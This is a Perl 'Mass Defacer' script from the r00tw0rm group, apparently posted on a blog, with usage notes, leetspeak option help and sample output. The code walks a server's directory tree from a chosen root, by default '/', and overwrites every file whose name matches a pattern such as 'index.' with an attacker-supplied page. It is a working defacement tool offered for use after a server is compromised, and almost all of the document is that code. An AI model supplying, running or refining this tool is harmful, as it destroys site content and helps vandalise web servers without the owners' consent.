Perl Mass Defacer
#!/usr/local/bin/perl
#-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
#
# Usage:
#
# [CrosS@localhost/tmp]$ perl $0 -d /home/www/ -f index. -n /tmp/index.html
#
# [ Mass Defacer in Perl~# ] Recoded
# Contact: r00tw0rm@live.com
#
# http://www.r00tw0rm.com/1337
#
# 010101010101010101010101010101010101010101010
# Options:
# -d = F0ld3r wh1ch y0u w4nn4 D3F4c3.
# -f = F1l3 n4m3 wh1ch y0u w4nn4 d3f4c3.
# -n = wh3r3 t0 pl4c3 y0uR 1nd3x..
# 3X4MPL3:
# perl $0 -d /home -f index. -n /tmp/index.html
# 010101010101010101010101010101010101010101010
#
# [+] Archive folder -> /home/
# [+] File to be Replaced -> index.
# [+] Your Index page -> /tmp/index.html
# [+] Browsing files...
# [+] File was found to be a total change -> 4598 ...
# [+] Changing the index.
# [+] Changes were made Successfully!
# [+] you changed the total -> 4873 index
################################################################################################
################################## INFO ###################################################
$VERSION="By CrosS";
$about =
"\n - = [ R00TW0RM Mass Defacer ... $VERSION ] = -\n".
"Contact:\n".
"\t \ r00tw0rm\@live.com\n".
"\t \ URL: http://www.r00tw0rm.com/ \R00TW0RM - Private Community\n".
"\n".
"\Info:\n".
"\t-d = F0ld3R y0u w4nt t0 D3f4c3 \"\/\" Working!\n".
"\t-f = F1l3 n4m3 wh1ch y0u w4nn4 d3f4c3 \n".
"\t-n = wh3r3 t0 pl4c3 y0uR 1nd3x. \n".
"Example:\nperl $0 -d /home -f index. -n /tmp/index.html\n".
"=-=-=-=-=-=\n";
############################################################################################
use Getopt::Std;
getopts('d:f:n:', \%args);
if (defined($args{'d'})){$dir=$args{'d'};}else{$dir="/";}
if (defined($args{'f'})){$file=$args{'f'};}else{$dir="";}
if (defined($args{'n'})){$newfile=$args{'n'};}else{$newfile="";}
print $about;
$dirok="[+] Archive Folder is -> $dir";
$fileok="[+] File to replaced -> $file";
$newfileok="[+] Your New Index -> $newfile";
if("$dir") {
print "$dirok\n";
sleep(1);
}
if("$file") {
print "$fileok\n";
sleep(1);
}
else
{
print "";
exit();
}
if("$newfile") {
print "$newfileok\n";
sleep(1);
}
else
{
print "";
exit();
}
printf "[+] Browsing Folder[s]\n";
my @troca;
find($dir, sub { push(@troca, $_[0]) if ($_[0] =~ /$file/i) });
my $quantidade = scalar(@troca);
if($quantidade<=0) {
print "[-] Error -> fuck No Records were found.\n";sleep(1);
print "[-] Problem with the File to be changed.\n";sleep(1);
print "[-] Do not have access to change them .\n";sleep(1);
exit();
}
printf "[+] F0unD th3 F0ld3r-> $quantidade arquivos...\n";sleep(1);
printf "[+] Ch4ng1ng th3 F1l3.\n";
open(NEW, "< $newfile");
foreach $files(@troca)
{
open(FILE, "> $files");
while (<NEW>) {
print FILE $_;
}
close(FILE);
seek(NEW, 0, 0);
}
close(NEW);
sleep(1);
printf "[+] F1l3s w3r3 Ch4ng3d Succ3ssfully!\n";sleep(1);
printf "[+] Total Changed File s-> $quantidade\n";
sub find {
my ($path, $callback) = @_;
$path = '/' unless $path;
$path =~ s/^\/+/\//;
$path =~ s/\/$//;
my @files = list_dir($path);
my @dirs;
foreach my $file (@files) {
my $filepath = $path.'/'.$file;
&{$callback}($filepath);
push(@dirs, $filepath) if (-d $filepath);
}
undef(@files);
map { find($_, $callback) } @dirs;
return(1);
}
sub list_dir {
my ($dir, $dont_list_subdirs) = @_;
opendir(DIR, $dir) || return();
my @files = readdir(DIR);
closedir(DIR);
@files = grep { !-d "$dir/$_" } @files if ($dont_list_subdirs);
my @files = grep { $_ !~ /^(\.){1,2}$/ } @files;
return(@files);
}
Subscribe to:
Post Comments (Atom)
No comments:
Post a Comment